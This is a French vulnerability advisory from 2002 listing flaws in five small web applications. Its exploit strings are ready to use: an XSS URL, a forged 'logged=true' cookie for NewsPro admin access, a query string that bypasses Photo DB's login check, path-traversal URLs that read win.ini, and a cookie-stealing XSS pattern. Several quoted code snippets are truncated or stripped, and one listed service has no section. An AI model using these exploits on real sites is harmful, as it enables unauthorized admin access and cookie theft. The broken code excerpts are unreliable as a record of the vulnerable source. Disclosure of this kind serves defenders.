5 holes, Part 4 *************** Intro : ******* Il pleut. Date : ****** 04/05/02 Services : ********** - PHP Image View - NewsPro - Photo DB - As_web.exe - GuestBook Developpements : **************** 1) PHP Image View ~~~~~~~~~~~~~~~~~ http://www.onlinetools.org Version : 1.0 Problème : - Récuperation d'infos (phpinfo();) - XSS Developpement : phpimageview.php est un script qui permet de visualiser des images. Voici ses premières lignes : ---------------------- \n\t\t\t\t\"".$name."\""; Une url style phpimageview.php?pic=javascript:alert(document.domain); affichera dans la source html : ...
et le script s'executera.


2) NewsPro
~~~~~~~~~~
http://www.aspbin.co.uk

Version :
1.01

Problèmes :
- Accès admin

Developpement :
Dans chaque page admin, on peut voir la ligne censée assurer la sécurité :

<!--#include file= Elle inclut un fichier qui doit vérifier si on est bien l'admin. Voici le contenu détaillé de ce fichier : <% logged=request.cookies("logged") // La variable logged vaut la valeur du cookie logged if logged <> "true" then // Si logged est different de "true",... response.redirect "login.asp" // On redirige vers la page du login. response.end end if %> Il faut donc envoyer un cookie "logged,true" pour être reconnu administrateur sur toutes les pages de NewsPro. 3) Photo Db ~~~~~~~~~~~ http://www.brokenbytes.org Version : 1.4 Problème : - Contournement des sécurités Developpement : Le fichier qui gère la sécurité des zones admins et qui est inclus dans toutes ces pages est secure_inc.php . Voici son code en entier : ---------------------------------------------------------------- $pageaccesslevel ) { echo ("You do not have access to this"); exit(); } ?> ---------------------------------------------------------------- On voit clairement les 4 conditions pour avoir accès aux pages : - $PHPSESSID ne doit pas être vide - $Time doit être plus grand que date(U) - $rmtusername et $rmtpassword ne doivent pas être vides - $accesslevel doit être plus petit que $pageaccesslevel La première condition est très facile à remplir, il suffit de rajouter PHPSESSID=quelquechose à l'url. Pour la seconde, c'est $Time qu'on va devoir modifier car il est comparé au résultat d'une fonction, il faudra donc rajouter Time=unnombretrèsgrand . La troisième condition est comme la première donc : rmtusername=qqchose et rmtpassword=qqchose. Enfin la dernière. Ici encore une fois on pas le choix... au début des pages admins se trouvent la ligne [$pageaccesslevel = "1";], donc c'est $accesslevel qu'on va changer; accesslevel=unchiffrebas. Pour ne pas être redirigé ou interdit d'accès à secure_inc.php, il faudra donc taper une url du style: /secure_inc.php?PHPSESSID=abc123&Time=9999999999999&rmtusername=hop&rmtpassword=hop&accessevel=-5 Et donc taper ?PHPSESSID=abc123&Time=9999999999999&rmtusername=hop&rmtpassword=hop&accessevel=-5 après nimporte quel fichier "sécurisé" pour y avoir accès. 4) As_web.exe ~~~~~~~~~~~~~ http://www.asksam.com Versions : 1 4 autres ? Problèmes : - XSS - Path Disclosure Developpement : La premiere faille Path Disclosure se trouve dans le moteur de recherche; il recherche via certains "ask files"... Le nom du fichier à utiliser se trouve dans la valeur "file". Une url comme : http://www.host.com/as_web.exe?Command=search&file=non-existant-file&request=&MaxHits=10&NumLines=1 Nous donnera l'erreur : ------------------------------------------------------------------------ Web Publisher Error: Unable to open askSam file: d:\PATH\SITE\non-existant-file File was not found For a more in depth explanation of the askSam Web Publisher error messages click here. ------------------------------------------------------------------------ Une autre se trouve à l'url : http://www.host.com/as_web.exe?non-existant Dans la version 4 on a aussi : http://www.host.com/as_web4.exe?Command=First&File=non-existant-file Si le fichier n'existe pas, on aura le path et le commentaire "File was not found". Mais si le fichier existe, par exemple avec une url style http://www.host.com/as_web4.exe?Command=First&File=..\winnt\win.ini sur NT, le path sera accompagné de l'erreur "This is not an askSam file. " Le cross site scripting : /as_web4.exe?existant-ask-file!!.ask+B+ /as_web.exe?existant-ask-file!!.ask+B+ , on récuperera le nom du cookie, il ne restera plus qu'a l'envoyer. Enfin, dans le dossier /admin/ se trouve la page delete.asp qui permet de supprimer les messages entrés... elle n'est pas protégée. Greetz : ******** / Credits : ********* frog-m@n leseulfrog@hotmail.com